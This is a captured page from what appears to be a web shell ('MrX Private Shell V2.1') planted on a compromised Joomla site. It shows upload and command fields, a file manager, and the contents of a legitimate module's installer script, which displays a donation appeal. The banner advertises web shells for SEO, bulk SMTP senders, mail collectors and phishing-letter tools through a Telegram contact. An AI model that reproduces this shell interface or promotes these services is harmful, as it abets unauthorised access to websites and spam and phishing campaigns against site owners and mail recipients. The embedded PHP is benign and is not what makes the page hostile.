__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * 
 * @version             See field version manifest file
 * @package             See field name manifest file
 * @author				Gregorio Nuti
 * @copyright			See field copyright manifest file
 * @license             GNU General Public License version 2 or later
 * 
 */

// no direct access
defined('_JEXEC') or die;

// define ds variable for joomla 3 compatibility
if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);

// namespaces
use Joomla\CMS\Uri\Uri;

class mod_Digi_ShowcaseInstallerScript {
	
	function update($parent) {
    	
    	// specific classes based on joomla version
    	if (version_compare(JVERSION, "4.0.0", ">=")) {
    		$row_class = 'row';
    		$col_class = 'col-12';
    		$badge_class = 'badge bg-success';
    	} else {
    		$row_class = 'row-fluid';
    		$col_class = 'span12';
    		$badge_class = 'label label-success';
    	}
		
		$version = $parent->getManifest()->version;
		
    	$paypal_link = 'https://www.paypal.com/paypalme/gregorionuti';
    	$revolut_link = 'https://revolut.me/gregorionuti';
    	$kofi_link = 'https://ko-fi.com/gregorionuti';
		
		$html = '';
        
        $html .= '<div class="'.$row_class.'">';
        
        $html .= '<div class="'.$col_class.'">';
        
        $html .= '<div id="digigreg_donation">';
        
        $html .= '<div id="digigreg_donation_text">';
        
        $html .= '<h2>Do you enjoy Digi Showcase? If yes, please, donate a small amount to help its development</h2>';
        
        $html .= '<p>The development of this extension and its <strong>conversion for Joomla 5</strong> took many hours of work. With a small donation, you can help the developer to keep it up to date and tuned up over time. Even € 1 or whatever small amount can help. Thank you so much!<br /><small><i class="text-dark">Greg</i></small>'.'</p>';
        $html .= '<p>';
        $html .= '<span class="text-uppercase">Please donate via these links</span> <br />';
        $html .= '<a style="margin-top: 5px; margin-right: 10px;" class="btn btn-light" target="_blank" href="'.$paypal_link.'"><img style="width: 16px; height: 16px; margin-right: 2px; margin-top: -3px;" class="btn-img" src="'.URI::root().'modules'.DS.'mod_digi_showcase'.DS.'assets'.DS.'images'.DS.'logo-paypal.png" alt="PayPal" />PayPal</a>';
        $html .= '<a style="margin-top: 5px; margin-right: 10px;" class="btn btn-light" target="_blank" href="'.$revolut_link.'"><img style="width: 16px; height: 16px; margin-right: 2px; margin-top: -3px;" class="btn-img" src="'.URI::root().'modules'.DS.'mod_digi_showcase'.DS.'assets'.DS.'images'.DS.'logo-revolut.png" alt="Revolut" />Revolut</a>';
        $html .= '<a style="margin-top: 5px; margin-right: 10px;" class="btn btn-light" target="_blank" href="'.$kofi_link.'"><img style="width: 16px; height: 16px; margin-right: 2px; margin-top: -3px;" class="btn-img" src="'.URI::root().'modules'.DS.'mod_digi_showcase'.DS.'assets'.DS.'images'.DS.'logo-ko-fi.png" alt="Ko-fi" />Ko-fi</a>';
        $html .= '</p>';
        
		$html .= '</div>';
		
		$html .= '</div>';
        
        $html .= '</div>';
        
        $html .= '</div>';
        
        echo $html;
		
	}
	
}

?>

Filemanager

Name Type Size Permission Actions
assets Folder 0775
extras Folder 0775
images Folder 0775
include Folder 0775
tmpl Folder 0775
helper.php File 47.97 KB 0664
mod_digi_showcase.php File 1.38 KB 0664
mod_digi_showcase.xml File 52.08 KB 0664
script.php File 3.11 KB 0664
Filemanager